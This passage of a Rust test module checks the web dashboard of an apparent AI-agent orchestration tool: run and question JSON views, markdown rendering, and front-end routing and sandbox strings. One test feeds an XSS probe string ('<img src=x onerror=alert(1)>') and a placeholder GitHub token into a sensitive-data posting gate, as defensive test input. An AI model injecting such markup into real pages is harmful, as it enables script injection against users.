20365            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20366            duration_ms: 0,
20367            resource_blocked: false,
20368        });
20369        let view = RunDetailView::of(
20370            state,
20371            false,
20372            crate::run::Liveness::Unknown,
20373            None,
20374            None,
20375            None,
20376        );
20377        let value = serde_json::to_value(view).unwrap();
20378        assert_eq!(
20379            value["stop_reason"],
20380            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20381        );
20382    }
20383
20384    #[test]
20385    fn the_run_detail_payload_says_whether_the_run_is_done() {
20386        // `landView` reads `run.done`; the detail response must carry it.
20387        for (status, done) in [
20388            (RunStatus::Superseded, true),
20389            (RunStatus::Blocked, true),
20390            (RunStatus::Landing, false),
20391        ] {
20392            let mut state = RunState::new(
20393                std::path::PathBuf::from("/repo"),
20394                "main".to_owned(),
20395                "abc".to_owned(),
20396                "x".to_owned(),
20397                crate::config::Config::default(),
20398            );
20399            state.status = status;
20400            let v = serde_json::to_value(RunDetailView::of(
20401                state,
20402                false,
20403                crate::run::Liveness::Unknown,
20404                None,
20405                None,
20406                None,
20407            ))
20408            .unwrap();
20409            assert_eq!(v["done"], done, "{status:?}");
20410        }
20411    }
20412
20413    /// The first node of a markdown block holds a `strong` somewhere.
20414    fn has_strong(nodes: &[md::Node]) -> bool {
20415        serde_json::to_string(nodes).unwrap().contains("strong")
20416    }
20417
20418    #[test]
20419    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20420        let mut state = RunState::new(
20421            std::path::PathBuf::from("/repo"),
20422            "main".to_owned(),
20423            "abc".to_owned(),
20424            "x".to_owned(),
20425            crate::config::Config::default(),
20426        );
20427        let proposal = |approach: &str| {
20428            serde_json::json!({
20429                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20430            })
20431        };
20432        state.advice = Some(
20433            serde_json::from_value(serde_json::json!({
20434                "records": [
20435                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20436                     "proposal": proposal("do **this**")},
20437                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20438                ],
20439                "synthesis": "- one\n- **two**\n\n`code`",
20440            }))
20441            .unwrap(),
20442        );
20443        state.candidates = serde_json::from_value(serde_json::json!([
20444            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20445             "summary": "did **it**"},
20446            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20447        ]))
20448        .unwrap();
20449        // Recorded in ascending severity, the reverse of how the page sorts
20450        // them: the arrays must follow the record, not the display.
20451        state.reviews = serde_json::from_value(serde_json::json!([{
20452            "round": 1, "head": "h",
20453            "reviews": [{
20454                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20455                "findings": [
20456                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20457                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20458                ],
20459            }],
20460            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20461            "fix": {"agent": "a", "notes": "fixed **it**",
20462                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20463        }, {"round": 2, "head": "h2", "reviews": []}]))
20464        .unwrap();
20465
20466        let v = serde_json::to_value(RunDetailView::of(
20467            state,
20468            false,
20469            crate::run::Liveness::Unknown,
20470            None,
20471            None,
20472            None,
20473        ))
20474        .unwrap();
20475
20476        let strong = |p: &str| {
20477            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20478            assert!(n.to_string().contains("strong"), "{p}: {n}");
20479        };
20480        strong("/advice_md/synthesis");
20481        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20482        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20483        strong("/advice_md/approaches/0");
20484        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20485        strong("/candidate_summaries_md/0");
20486        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20487        strong("/reviews_md/0/reviewers/0/summary");
20488        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20489        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20490        assert!(f[1].to_string().contains("strong"));
20491        strong("/reviews_md/0/reconsideration/0");
20492        strong("/reviews_md/0/fix/notes");
20493        strong("/reviews_md/0/fix/rejected/0");
20494        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20495        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20496        // The raw strings stay, and no schema moved.
20497        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20498        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20499    }
20500
20501    #[test]
20502    fn a_run_without_advice_has_no_advice_md() {
20503        let state = RunState::new(
20504            std::path::PathBuf::from("/repo"),
20505            "main".to_owned(),
20506            "abc".to_owned(),
20507            "x".to_owned(),
20508            crate::config::Config::default(),
20509        );
20510        let p = run_prose_md(&state);
20511        assert!(p.advice_md.is_none());
20512        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20513    }
20514
20515    #[test]
20516    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20517        let store = ask::Questions::at(PathBuf::from("unused"));
20518        let gt = crate::github_text::Withheld {
20519            title: false,
20520            body: true,
20521            categories: vec!["sensitive-data".into()],
20522        };
20523        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20524        let (detail, comparison) =
20525            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20526        let mut q = Question::new(
20527            "r".into(),
20528            "github-text".into(),
20529            "posting-gate".into(),
20530            "s".into(),
20531            detail,
20532            Vec::new(),
20533        );
20534        assert!(
20535            QuestionView::of(q.clone(), &store, None)
20536                .posting_view
20537                .is_none()
20538        );
20539        q.posting_comparison = Some(comparison);
20540        let view = QuestionView::of(q.clone(), &store, None);
20541        let field = &view.posting_view.unwrap().fields[0];
20542        assert_eq!(
20543            field
20544                .original
20545                .iter()
20546                .map(|f| f.text.as_str())
20547                .collect::<String>(),
20548            body
20549        );
20550        assert!(field.original[0].text.starts_with("<img"));
20551        let original_question: Question =
20552            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20553        assert_eq!(original_question, q);
20554        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20555            .original
20556            .start = 1;
20557        assert!(
20558            QuestionView::of(q.clone(), &store, None)
20559                .posting_view
20560                .is_none()
20561        );
20562        q.posting_comparison = original_question.posting_comparison;
20563        q.detail.push_str("extra context");
20564        assert!(
20565            QuestionView::of(q.clone(), &store, None)
20566                .posting_view
20567                .is_some()
20568        );
20569        q.detail.insert(0, 'x');
20570        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20571    }
20572
20573    #[test]
20574    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20575        let store = ask::Questions::at(PathBuf::from("unused"));
20576        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20577        let gt = crate::github_text::Withheld::from_check(
20578            &crate::github_text::check("fix: x", body),
20579            "fix: x",
20580            body,
20581        )
20582        .unwrap();
20583        let (detail, comparison) =
20584            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20585        let mut q = Question::new(
20586            "r".into(),
20587            "github-text".into(),
20588            "posting-gate".into(),
20589            "s".into(),
20590            detail,
20591            Vec::new(),
20592        );
20593        q.posting_comparison = Some(comparison);
20594        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20595        let field = &value["posting_view"]["fields"][0];
20596        let group = &field["replacement_group"];
20597        let triggers = group["triggers"].as_array().unwrap();
20598        assert_eq!(triggers.len(), 2);
20599        assert_ne!(triggers[0], triggers[1]);
20600        for id in triggers {
20601            assert!(
20602                field["original"]
20603                    .as_array()
20604                    .unwrap()
20605                    .iter()
20606                    .any(|f| &f["pair"] == id)
20607            );
20608            assert!(
20609                !field["changed"]
20610                    .as_array()
20611                    .unwrap()
20612                    .iter()
20613                    .any(|f| &f["pair"] == id)
20614            );
20615        }
20616        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20617            group["id"].as_u64().unwrap() as usize;
20618        assert!(
20619            QuestionView::of(q, &store, None).posting_view.is_none(),
20620            "group and trigger IDs cannot collide"
20621        );
20622    }
20623
20624    #[test]
20625    fn a_question_view_carries_markdown_for_each_thread_turn() {
20626        let home = TempDir::new().unwrap();
20627        let store = ask::Questions::at(home.path().join("questions"));
20628        let mut q = Question::new(
20629            "run".to_owned(),
20630            "implement".to_owned(),
20631            "impl-A".to_owned(),
20632            "which?".to_owned(),
20633            String::new(),
20634            Vec::new(),
20635        );
20636        q.say("plain words").unwrap();
20637        q.reply("use **this**", Vec::new()).unwrap();
20638        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20639        let bodies = &v["thread_bodies_md"];
20640        assert_eq!(bodies.as_array().unwrap().len(), 2);
20641        assert!(!bodies[0].to_string().contains("strong"));
20642        assert!(bodies[1].to_string().contains("strong"));
20643    }
20644
20645    #[test]
20646    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20647        let home = TempDir::new().unwrap();
20648        let store = ask::Questions::at(home.path().join("questions"));
20649        let mut q = Question::new(
20650            "run".to_owned(),
20651            "conduct".to_owned(),
20652            "conduct".to_owned(),
20653            "which?".to_owned(),
20654            String::new(),
20655            Vec::new(),
20656        );
20657        q.say("plain words").unwrap();
20658        q.thread.push(ask::Turn {
20659            who: ask::Who::Agent,
20660            body: "Settled as `merge`".to_owned(),
20661            at: jiff::Timestamp::now(),
20662            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20663        });
20664        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20665        let notes = &v["thread_notes_md"];
20666        assert_eq!(notes.as_array().unwrap().len(), 2);
20667        assert!(notes[0].is_null());
20668        let text = notes[1].to_string();
20669        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20670        assert!(APP_JS.contains("ask-turn-note"));
20671    }
20672
20673    #[test]
20674    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20675        // The land panel defers to `run.status` for merged, and labels a
20676        // recorded-open PR on any finished run (superseded, blocked, ...) as
20677        // last seen, never as live state.
20678        assert!(APP_JS.contains("function landView(run, raw) {"));
20679        assert!(
20680            APP_JS.contains(
20681                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20682            )
20683        );
20684        assert!(APP_JS.contains("const pr = landView(run, raw);"));
20685        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20686        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20687        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20688    }
20689
20690    #[test]
20691    fn live_runs_are_never_hidden_or_folded_as_superseded() {
20692        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
20693        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20694        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20695        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20696    }
20697
20698    #[test]
20699    fn review_rounds_label_a_distinct_verified_head() {
20700        assert!(APP_JS.contains("round.verified_head"));
20701        assert!(APP_JS.contains("verified HEAD"));
20702        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20703    }
20704
20705    #[test]
20706    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20707        // A blocked task's chip and note must not fall back to a queued-like
20708        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
20709        // itself by e11fc58 but never checked here.
20710        assert!(APP_JS.contains("blocked: { glyph:"));
20711        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20712
20713        // `blocked_by` mixes task ids and question ids in the same list, and
20714        // the client can only tell them apart by checking each id against
20715        // what it actually knows - never by guessing from the id's shape.
20716        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20717        assert!(
20718            APP_JS.contains(
20719                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20720            ),
20721            "the note line must name what a blocked task is waiting on, not just that it is blocked"
20722        );
20723        // The classification must key off `status_str`, never off `blocked_by`
20724        // or `block_reason` merely being present - both can survive briefly
20725        // on a task a hold or a dead daemon just moved off `blocked`.
20726        assert!(APP_JS.contains("if (status === \"blocked\") {"));
20727
20728        // A question a task is blocked on gets its own node in the same
20729        // dependency graph, not just a task-shaped node with nothing known
20730        // about it.
20731        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20732        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20733        assert!(
20734            APP_JS.contains("location.hash = \"#/questions\";"),
20735            "a question node must jump to the Questions screen, not pretend to be a task"
20736        );
20737
20738        // `Task::answers` - decisions already made - are shown as a record on
20739        // the card, the same disclosure style as the full instruction.
20740        assert!(APP_JS.contains("Resolved questions"));
20741        assert!(APP_JS.contains("r.answersList.append("));
20742        assert!(APP_CSS.contains(".task-answers"));
20743        {
20744            let start = APP_JS
20745                .find("function updateTalkTaskRow")
20746                .expect("updateTalkTaskRow");
20747            let body = &APP_JS[start..];
20748            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20749            assert!(
20750                body.contains(
20751                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20752                ),
20753                "a chat-filed task row must link to the task page"
20754            );
20755            assert!(
20756                !body.contains("#/runs/") && !body.contains("#/queue/"),
20757                "the row must not branch to a run or the queue card"
20758            );
20759            assert!(APP_CSS.contains(".talk-task-link"));
20760        }
20761    }
20762
20763    #[test]
20764    fn a_task_notification_links_to_the_task_page() {
20765        // A task notice opens the task detail page, not the Backlog card.
20766        let start = APP_JS
20767            .find("function noticeLink(")
20768            .expect("noticeLink exists");
20769        let body = &APP_JS[start..];
20770        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20771        assert!(
20772            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20773            "a task notice's link must target the task page"
20774        );
20775        assert!(
20776            !body.contains("#/queue/"),
20777            "regression: the task link must not go back to the Backlog route"
20778        );
20779        assert!(
20780            APP_JS.contains(
20781                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20782            ),
20783            "`#/tasks/<id>` must parse into the task route"
20784        );
20785
20786        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20787        assert!(
20788            APP_JS.contains(
20789                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20790            ),
20791            "`#/queue/<id>` must parse into a route carrying that id"
20792        );
20793
20794        // And the Backlog view has to actually land on the card once it can
20795        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20796        // so a focus set before the queue has loaded is retried once it has.
20797        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20798        assert!(APP_JS.contains("function consumeQueueFocus()"));
20799        assert!(APP_JS.contains("jumpToTask(id)"));
20800    }
20801
20802    #[test]
20803    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20804        let start = APP_JS
20805            .find("function noticeCoveredBy(")
20806            .expect("noticeCoveredBy exists");
20807        let body = &APP_JS[start..];
20808        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20809
20810        // Historical associations are informational, even for open questions.
20811        assert!(body.contains("Associated question ${short}"));
20812        assert!(!body.contains("el(\"a\""));
20813
20814        // A resolved question displays status rather than an actionable link
20815        assert!(body.contains("(resolved)"));
20816        assert!(body.contains("(closed)"));
20817
20818        let start = APP_JS
20819            .find("function renderNotifications()")
20820            .expect("renderNotifications exists");
20821        let body = &APP_JS[start..];
20822        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20823
20824        // Only a server-resolved answerable question supplies a response link.
20825        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20826        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20827        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20828        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20829    }
20830
20831    /// Chat rows are two lines at every width: the title alone, then the
20832    /// shrinkable secondary info.
20833    #[test]
20834    fn chat_rows_put_the_title_alone_on_the_first_line() {
20835        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20836        assert!(APP_CSS.contains(
20837            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20838        ));
20839        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20840        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20841    }
20842
20843    #[test]
20844    fn run_rows_put_the_title_alone_on_the_first_line() {
20845        assert!(
20846            APP_CSS.contains(
20847                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20848            )
20849        );
20850        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20851        assert!(APP_JS.contains("class: \"card run-card\""));
20852        assert!(APP_JS.contains("class: \"repo run-id\""));
20853    }
20854
20855    /// Wide screens get a master/detail layout built from the views a phone
20856    /// drills into. These are string assertions: they pin the contract between
20857    /// the three assets, not how it looks.
20858    #[test]
20859    fn wide_screens_show_list_and_preview_side_by_side() {
20860        // One breakpoint, spelled the same in the script and the stylesheet.
20861        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20862        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20863        assert!(APP_CSS.contains("main[data-split]"));
20864        assert!(APP_CSS.contains("body[data-split]"));
20865
20866        // The route -> panes table, and a narrow screen opting out of it.
20867        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20868        assert!(
20869            APP_JS.contains(
20870                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20871            )
20872        );
20873        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20874        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20875        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20876
20877        // Selection is derived from the route, and only ever paints a row.
20878        assert!(APP_JS.contains("function markSelected() {"));
20879        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20880        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20881        // The dense row must override the stacked card the 720px block sets up.
20882        assert!(
20883            APP_CSS.contains(
20884                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20885            )
20886        );
20887
20888        // Independent scrolling: the page stops scrolling, each pane does.
20889        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20890        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20891        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20892        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20893
20894        // A refresh must never navigate: the loaders still check that their
20895        // subject is the one on screen, and crossing the breakpoint only
20896        // re-reads the hash.
20897        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20898        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20899        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20900        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20901
20902        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20903        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20904    }
20905
20906    #[test]
20907    fn panel_sandbox_carries_exactly_popups() {
20908        let needle = "sandbox: \"";
20909        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20910        assert_eq!(
20911            matches.len(),
20912            1,
20913            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20914        );
20915        let start = matches[0].0 + needle.len();
20916        let end = APP_JS[start..]
20917            .find('"')
20918            .expect("sandbox attribute value must be terminated by a closing quote");
20919        let val = &APP_JS[start..start + end];
20920        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20921        let expected: std::collections::BTreeSet<&str> =
20922            ["allow-popups", "allow-popups-to-escape-sandbox"]
20923                .into_iter()
20924                .collect();
20925        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20926        assert!(
20927            !tokens.contains("allow-scripts"),
20928            "allow-scripts must never be present in sandbox"
20929        );
20930        assert!(
20931            !tokens.contains("allow-same-origin"),
20932            "allow-same-origin must never be present in sandbox"
20933        );
20934    }
20935
20936    #[test]
20937    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20938        // consumeQueueFocus() clears an active Backlog search before it can
20939        // scroll to the target card (the sections list is hidden while a
20940        // search is showing), by recursing back into renderQueue(). The
20941        // fixer's first cut nulled state.queueFocus before that recursive
20942        // call, so the second pass saw nothing to jump to and the jump was
20943        // silently dropped whenever a notification's link was opened with a
20944        // stale search still active. state.queueFocus must only be cleared
20945        // right before jumpToTask() actually runs.
20946        assert!(
20947            APP_JS.contains(
20948                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20949            ),
20950            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20951             recursive renderQueue() call has nothing left to jump to"
20952        );
20953        assert!(
20954            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20955            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20956             arrives later still gets it"
20957        );
20958        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20959        assert!(APP_JS.contains("is not in the current Backlog."));
20960        assert!(APP_JS.contains("li.card[data-task-id=\""));
20961        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20962        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20963        assert!(APP_CSS.contains(".card-permalink"));
20964        assert!(APP_CSS.contains(".queue-focus-status"));
20965        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20966    }
20967
20968    #[test]
20969    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20970        // The task's own repro: only the link text inside .notice-meta was
20971        // clickable, so a tap on the message, the timestamp, or the card's
20972        // padding did nothing - on a phone that reads as "the card doesn't
20973        // work" even though the tiny link inside it did. Mark read / Dismiss
20974        // must keep working independently of this: `.closest("a, button")`
20975        // is what lets a tap that actually lands on those elements fall
20976        // through instead of being hijacked into a navigation.
20977        assert!(
20978            APP_JS.contains(
20979                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20980            ),
20981            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20982        );
20983    }
20984
20985    #[test]
20986    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20987        assert!(
20988            APP_JS.contains("round.verified_head !== round.head"),
20989            "a round that verified an earlier commit must be visibly distinct from one that \
20990             verified the head reviewers are looking at now"
20991        );
20992        assert!(
20993            APP_JS.contains("round.verified_at"),
20994            "when a check ran must be on the wire, not just which commit"
20995        );
20996        assert!(
20997            APP_JS.contains("resource_blocked"),
20998            "a command magi never got to run (shared build cache contention) must not render \
20999             the same as a command that ran and failed"
21000        );
21001    }
21002
21003    #[test]
21004    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21005        // Every KPI tile but Total runs and Completion names an exact
21006        // RunStatus and hands it to openRunsFiltered(), which is what wires
21007        // the click into state.runsFilter.status (matchesFilter's own
21008        // status check) rather than the coarser runsStateFilter chips. Each
21009        // status literal here must be one of the strings runSection() (and
21010        // isStale()) actually compare a run's own `status` field against -
21011        // a status this dashboard invented would filter to nothing.
21012        assert!(
21013            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21014            "every KPI tile built through statusTile() must route its click through \
21015             openRunsFiltered, the single place that sets the Runs filter"
21016        );
21017        for (label, status) in [
21018            ("Merged", "merged"),
21019            ("Ready", "ready"),
21020            ("Blocked", "blocked"),
21021            ("Stalled", "stalled"),
21022        ] {
21023            let call = format!("statusTile(\"{label}\", t.{status}, ");
21024            assert!(
21025                APP_JS.contains(&call),
21026                "expected the {label} KPI tile built via {call}..."
21027            );
21028            assert!(
21029                APP_JS.contains(&format!("status === \"{status}\"")),
21030                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21031                 compare a run against, not one invented only for the stats tile"
21032            );
21033        }
21034        assert!(
21035            APP_JS.contains("function openRunsFiltered(status)"),
21036            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21037        );
21038        assert!(
21039            APP_JS.contains(
21040                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21041            ),
21042            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21043        );
21044        // applyRoute() only flips which view is visible for a plain `#runs`
21045        // hash - it does not itself redraw the list (see applyRoute's own
21046        // handling below) - so openRunsFiltered must call renderRuns()
21047        // itself, and must call applyRoute() too so the view flips even
21048        // when the hash string doesn't change (the operator may already be
21049        // on the Runs view when a tile is tapped, which fires no
21050        // hashchange event at all).
21051        assert!(
21052            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
21053            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21054             hashchange event that may never fire"
21055        );
21056    }
21057
21058    #[test]
21059    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21060        // A stats tile can leave state.runsFilter.status set to something
21061        // done-by-construction (e.g. "merged") - picking "Active" afterward
21062        // must drop it the same way an incompatible tree section is already
21063        // dropped, or the Runs list renders permanently empty with no way
21064        // for the operator to tell why.
21065        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21066        assert!(
21067            APP_JS.contains(
21068                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
21069            ),
21070            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21071             guard for an incompatible tree section"
21072        );
21073    }
21074
21075    #[test]
21076    fn every_stats_queue_tile_names_a_real_queue_section() {
21077        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
21078        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
21079        // (consumeQueueSectionFocus finds no matching <details> and drops
21080        // the focus) rather than fail loudly, so pin every key against the
21081        // section list it has to resolve against.
21082        assert!(
21083            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21084            "every queue tile built through sectionTile() must route its click through \
21085             openQueueSectionFocus"
21086        );
21087        for key in ["upnext", "running", "done", "held", "blocked"] {
21088            assert!(
21089                APP_JS.contains(&format!("{{ key: \"{key}\",")),
21090                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21091            );
21092        }
21093        // Queued and Failed intentionally both resolve to "upnext" - the
21094        // same section queueSection() itself files them under - rather than
21095        // getting a section each.
21096        for line in [
21097            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21098            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21099            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21100            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21101            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21102            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21103        ] {
21104            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21105        }
21106    }
21107
21108    #[test]
21109    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21110        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
21111        // above for the section-focus channel a stats queue tile drives:
21112        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
21113        // through the stale-search-clear recursion into renderQueue(), and
21114        // clear it only once revealQueueSection() is actually about to run -
21115        // the same trap that once silently dropped a task-focus jump.
21116        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21117        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21118        assert!(APP_JS.contains("function revealQueueSection(details)"));
21119        assert!(
21120            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
21121            "renderQueue() must consume both focus channels on every pass"
21122        );
21123        assert!(
21124            APP_JS.contains(
21125                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
21126            ),
21127            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21128             the recursive renderQueue() call has nothing left to reveal"
21129        );
21130        assert!(
21131            APP_JS.contains(
21132                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
21133            ),
21134            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21135        );
21136        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
21137        // task-focus form of the hash - a plain `#queue` navigation only
21138        // flips which view is visible. openQueueSectionFocus() must
21139        // therefore call renderQueue() itself, and applyRoute() too so the
21140        // view flips even when the hash doesn't change (the Backlog may
21141        // already be open when a tile is tapped, firing no hashchange
21142        // event at all).
21143        assert!(
21144            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
21145            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21146             hashchange event that may never fire"
21147        );
21148    }
